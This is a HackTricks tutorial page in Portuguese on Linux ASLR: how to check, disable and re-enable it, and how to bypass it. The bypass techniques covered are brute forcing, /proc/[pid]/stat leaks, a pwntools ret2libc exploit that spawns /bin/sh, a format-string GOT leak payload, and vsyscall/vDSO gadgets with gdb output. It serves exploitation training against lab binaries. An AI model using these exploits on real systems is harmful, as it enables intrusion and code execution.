hacktricks/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md

15 KiB

ASLR

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informações Básicas

Randomização do Layout do Espaço de Endereços (ASLR) é uma técnica de segurança usada em sistemas operacionais para randomizar os endereços de memória usados por processos do sistema e de aplicativos. Ao fazer isso, torna significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como a pilha, heap e bibliotecas, mitigando assim certos tipos de exploits, especialmente estouros de buffer.

Verificando o Status do ASLR

Para verificar o status do ASLR em um sistema Linux, você pode ler o valor do arquivo /proc/sys/kernel/randomize_va_space. O valor armazenado neste arquivo determina o tipo de ASLR aplicado:

  • 0: Sem randomização. Tudo é estático.
  • 1: Randomização conservadora. Bibliotecas compartilhadas, pilha, mmap(), página VDSO são randomizadas.
  • 2: Randomização completa. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada por meio de brk() é randomizada.

Você pode verificar o status do ASLR com o seguinte comando:

cat /proc/sys/kernel/randomize_va_space

Desativando o ASLR

Para desativar o ASLR, você define o valor de /proc/sys/kernel/randomize_va_space como 0. Desativar o ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Veja como você pode desativá-lo:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Você também pode desativar o ASLR para uma execução com:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Ativando ASLR

Para ativar o ASLR, você pode escrever o valor 2 no arquivo /proc/sys/kernel/randomize_va_space. Isso geralmente requer privilégios de root. A ativação da randomização completa pode ser feita com o seguinte comando:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Persistência através de reinicializações

As alterações feitas com os comandos echo são temporárias e serão redefinidas após a reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo /etc/sysctl.conf e adicionar ou modificar a seguinte linha:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Depois de editar /etc/sysctl.conf, aplique as alterações com:

sudo sysctl -p

Isso garantirá que suas configurações de ASLR permaneçam após os reinícios.

Bypasses

Forçando por tentativa e erro em sistemas de 32 bits

O PaX divide o espaço de endereço do processo em 3 grupos:

  • Código e dados (inicializados e não inicializados): .text, .data e .bss —> 16 bits de entropia na variável delta_exec. Esta variável é inicializada aleatoriamente a cada processo e adicionada aos endereços iniciais.
  • Memória alocada por mmap() e bibliotecas compartilhadas —> 16 bits, chamado delta_mmap.
  • A pilha —> 24 bits, referido como delta_stack. No entanto, ele efetivamente usa 11 bits (do 10º ao 20º byte inclusive), alinhados a 16 bytes —> Isso resulta em 524.288 possíveis endereços reais de pilha.

Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que o exploit seja concluído com sucesso.

Ideias de força bruta:

  • Se você tiver um estouro grande o suficiente para hospedar um grande trenó NOP antes do shellcode, você poderia apenas forçar por tentativa e erro os endereços na pilha até que o fluxo salte sobre alguma parte do trenó NOP.
  • Outra opção para isso, caso o estouro não seja tão grande e o exploit possa ser executado localmente, é possível adicionar o trenó NOP e o shellcode em uma variável de ambiente.
  • Se o exploit for local, você pode tentar forçar por tentativa e erro o endereço base da libc (útil para sistemas de 32 bits):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Se estiver atacando um servidor remoto, você pode tentar forçar a endereço da função usleep da libc, passando como argumento 10 (por exemplo). Se em algum momento o servidor demorar 10s extras para responder, você encontrou o endereço dessa função.

{% hint style="success" %} Em sistemas de 64 bits, a entropia é muito maior e isso não deveria ser possível. {% endhint %}

Forçando a pilha de 64 bits

É possível ocupar uma grande parte da pilha com variáveis de ambiente e então tentar abusar do binário centenas/milhares de vezes localmente para explorá-lo.
O código a seguir mostra como é possível apenas selecionar um endereço na pilha e a cada algumas centenas de execuções esse endereço conterá a instrução NOP:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Informações Locais (/proc/[pid]/stat)

O arquivo /proc/[pid]/stat de um processo é sempre legível por todos e contém informações interessantes como:

  • startcode e endcode: Endereços acima e abaixo com o TEXTO do binário
  • startstack: O endereço do início da pilha
  • start_data e end_data: Endereços acima e abaixo onde está o BSS
  • kstkesp e kstkeip: Endereços atuais de ESP e EIP
  • arg_start e arg_end: Endereços acima e abaixo onde estão os argumentos da linha de comando
  • env_start e env_end: Endereços acima e abaixo onde estão as variáveis de ambiente

Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e esse binário não esperar o estouro a partir de argumentos brutos, mas de uma entrada diferente que pode ser criada após a leitura deste arquivo. É possível para um atacante obter alguns endereços deste arquivo e construir offsets a partir deles para o exploit.

{% hint style="success" %} Para mais informações sobre este arquivo, consulte https://man7.org/linux/man-pages/man5/proc.5.html procurando por /proc/pid/stat {% endhint %}

Tendo um vazamento

  • O desafio é fornecer um vazamento

Se você receber um vazamento (desafios fáceis de CTF), você pode calcular offsets a partir dele (supondo, por exemplo, que você saiba a versão exata da libc que está sendo usada no sistema que está explorando). Este exploit de exemplo é extraído do exemplo daqui (verifique essa página para mais detalhes):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Aproveitando um estouro de buffer, seria possível explorar um ret2plt para exfiltrar um endereço de uma função da libc. Verifique:

{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}

  • Leitura Arbitrária de Strings de Formato

Assim como no ret2plt, se você tiver uma leitura arbitrária via uma vulnerabilidade de strings de formato, é possível exfiltrar o endereço de uma função libc a partir do GOT. O seguinte exemplo está aqui:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Pode encontrar mais informações sobre a leitura arbitrária de strings de formato em:

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Ret2ret & Ret2pop

Tente contornar o ASLR abusando de endereços dentro da pilha:

{% content-ref url="ret2ret.md" %} ret2ret.md {% endcontent-ref %}

vsyscall

O mecanismo vsyscall serve para melhorar o desempenho permitindo que certas chamadas de sistema sejam executadas no espaço do usuário, embora façam parte fundamentalmente do kernel. A vantagem crítica das vsyscalls está em seus endereços fixos, que não estão sujeitos ao ASLR (Randomização do Layout do Espaço de Endereços). Essa natureza fixa significa que os atacantes não precisam de uma vulnerabilidade de vazamento de informações para determinar seus endereços e usá-los em uma exploração.
No entanto, não serão encontrados gadgets super interessantes aqui (embora, por exemplo, seja possível obter um equivalente a ret;)

(O exemplo e código a seguir são deste artigo)

Por exemplo, um atacante pode usar o endereço 0xffffffffff600800 dentro de uma exploração. Enquanto tentar pular diretamente para uma instrução ret pode levar a instabilidade ou falhas após a execução de alguns gadgets, pular para o início de uma syscall fornecida pela seção vsyscall pode ser bem-sucedido. Ao colocar cuidadosamente um gadget ROP que direcione a execução para este endereço vsyscall, um atacante pode obter execução de código sem precisar contornar o ASLR para esta parte da exploração.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Note que pode ser possível burlar o ASLR abusando do vdso se o kernel for compilado com CONFIG_COMPAT_VDSO, pois o endereço do vdso não será randomizado. Para mais informações, consulte:

{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %} ret2vdso.md {% endcontent-ref %}